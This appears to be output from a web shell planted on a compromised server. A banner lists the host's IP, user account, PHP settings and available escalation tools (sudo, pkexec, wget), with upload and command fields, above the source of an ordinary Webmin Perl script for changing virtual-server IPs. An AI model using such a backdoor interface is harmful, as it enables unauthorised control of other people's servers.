Private
Server IP : 195.201.23.43  /  Your IP : 13.59.203.127
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/save_newips.cgi
#!/usr/bin/perl
# Actually update the IPs for multiple servers at once

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newips_ecannot'});
&ReadParse();

# Validate inputs
&error_setup($text{'newips_err'});
&check_ipaddress($in{'old'}) || &error($text{'newips_eold'});
$in{'new_def'} || &check_ipaddress($in{'new'}) || &error($text{'newips_enew'});
if (defined($in{'old6'})) {
	&check_ip6address($in{'old6'}) || &error($text{'newips6_eold'});
	$in{'new6_def'} || &check_ip6address($in{'new6'}) ||
		&error($text{'newips6_enew'});
	}
if ($in{'new_def'} && (!defined($in{'old6'}) || $in{'new6_def'})) {
	&error($text{'newips_enothing'});
	}

&ui_print_unbuffered_header(undef, $text{'newips_title'}, "");

# Work out which domains to update
if ($in{'servers_def'}) {
	# Update all virtual servers
	@doms = &list_domains();
	}
else {
	# Update selected virtual servers
	%servers = map { $_, 1 } split(/\0/, $in{'servers'});
	@doms = grep { $servers{$_->{'id'}} } &list_domains();
	}
if (!@doms) {
	print "<b>$text{'newips_none2'}</b><p>\n";
	}

# Do each domain, and all active features in it
my $changes = 0;
foreach $d (@doms) {
	# Update IP addresses, if matching. Alias domains whose target points to
	# the old IP are also updated
	$oldd = { %$d };
	$changed = 0;
	if ($in{'mode'} == 0) {
		# Changing real IP address
		if (!$in{'new_def'} &&
		    ($d->{'ip'} eq $in{'old'} ||
		     $d->{'alias'} &&
		     &get_domain($d->{'alias'})->{'ip'} eq $in{'old'})) {
			$d->{'ip'} = $in{'new'};
			$changed++;
			}
		if ($in{'old6'}) {
			if (!$in{'new6_def'} &&
			    ($d->{'ip6'} eq $in{'old6'} ||
			     $d->{'alias'} &&
			     &get_domain($d->{'alias'})->{'ip6'} eq
			      $in{'old6'})) {
				$d->{'ip6'} = $in{'new6'};
				$changed++;
				}
			}
		}
	else {
		# Changing external IP address
		my $dns_ip = $d->{'dns_ip'} || $d->{'ip'};
		my $dns_ip6 = $d->{'dns_ip6'} || $d->{'ip6'};
		if (!$in{'new_def'} && $dns_ip eq $in{'old'}) {
			$d->{'dns_ip'} = $in{'new'};
			$changed++;
			}
		if ($in{'old6'}) {
			if (!$in{'new6_def'} && $dns_ip6 eq $in{'old6'}) {
				$d->{'dns_ip6'} = $in{'new6'};
				$changed++;
				}
			}
		}
	next if (!$changed);
	$changes++;

	&$first_print(&text('newips_dom', $d->{'dom'}));
	&$indent_print();

	# Run the before command
	&set_domain_envs(\%oldd, "MODIFY_DOMAIN", $d);
	$merr = &making_changes();
	&reset_domain_envs(\%oldd);
	&error(&text('save_emaking', "<tt>$merr</tt>")) if (defined($merr));

	foreach $f (@features) {
		local $mfunc = "modify_$f";
		if ($config{$f} && $d->{$f}) {
			&try_function($f, $mfunc, $d, $oldd);
			}
		}
	foreach $f (&list_feature_plugins()) {
		if ($d->{$f}) {
			&plugin_call($f, "feature_modify", $d, $oldd);
			}
		}

	# Save new domain details
	print $text{'save_domain'},"<br>\n";
	&save_domain($d);
	&$second_print($text{'setup_done'});

	# Run the after command
	&set_domain_envs($d, "MODIFY_DOMAIN", undef, \%oldd);
	local $merr = &made_changes();
	&$second_print(&text('setup_emade', "<tt>$merr</tt>"))
		if (defined($merr));
	&reset_domain_envs($d);

	&$outdent_print();
	}

# Tell the user if nothing happened
if (!$changes) {
	print "<b>$text{'newips_none3'}</b><p>\n";
	}

# Update old default IP
if ($in{'setold'}) {
	$config{'old_defip'} = &get_default_ip();
	$config{'old_defip6'} = &get_default_ip6();
	&lock_file($module_config_file);
	&save_module_config();
	&unlock_file($module_config_file);
	}

# Update master IP on slave zones
if ($in{'masterip'} && !$in{'new_def'}) {
	&$first_print(&text('newips_slaves', $in{'old'}, $in{'new'}));
	&$indent_print();
	&update_dns_slave_ip_addresses($in{'new'}, $in{'old'}, \@doms);
	&$outdent_print();
	&$second_print($text{'setup_done'});
	}

&run_post_actions();
&webmin_log("newips", "domains", scalar(@doms),
	    { 'old' => $in{'old'},
	      'new' => $in{'new_def'} ? "" : $in{'new'},
	      'old6' => $in{'old6'},
	      'new6' => $in{'new6_def'} ? "" : $in{'new6'} });

&ui_print_footer("", $text{'index_return'});
Private